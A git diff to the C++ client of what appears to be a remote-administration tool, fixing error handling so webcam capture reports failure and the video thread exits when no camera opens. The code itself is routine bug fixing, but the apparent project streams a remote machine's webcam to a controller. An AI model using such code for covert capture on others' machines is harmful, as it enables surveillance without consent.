diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp index 2c954bb..7d0ac22 100644 --- a/client/CaptureVideo.cpp +++ b/client/CaptureVideo.cpp @@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo() HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) { Mprintf("CCaptureVideo call Open\n"); - HRESULT hResult = S_OK; + HRESULT hResult = S_FALSE; do { hResult = InitCaptureGraphBuilder(); if (FAILED(hResult)) break; - if(!BindVideoFilter(iDeviceID, &m_pBF)) + if (!BindVideoFilter(iDeviceID, &m_pBF)) { + hResult = S_FALSE; break; + } hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index 215816a..9820924 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan m_pVideoCodec = NULL; m_fccHandler = 1129730893; - m_CapVideo.Open(0,0); // 开启 + m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK; // 开启 lpBuffer = NULL; m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL); @@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan DWORD CVideoManager::WorkThread(LPVOID lParam) { CVideoManager *This = (CVideoManager *)lParam; + if (!This->m_bVideoOpened) { + This->Destroy(); + return 0x20261013; + } + static ULONGLONG dwLastScreen = GetTickCount64(); if (This->Initialize()) { //转到Initialize diff --git a/client/VideoManager.h b/client/VideoManager.h index cbbc65c..4db6605 100644 --- a/client/VideoManager.h +++ b/client/VideoManager.h @@ -25,6 +25,7 @@ public: BOOL m_bIsWorking; HANDLE m_hWorkThread; + BOOL m_bVideoOpened; void SendBitMapInfor(); BOOL SendNextScreen();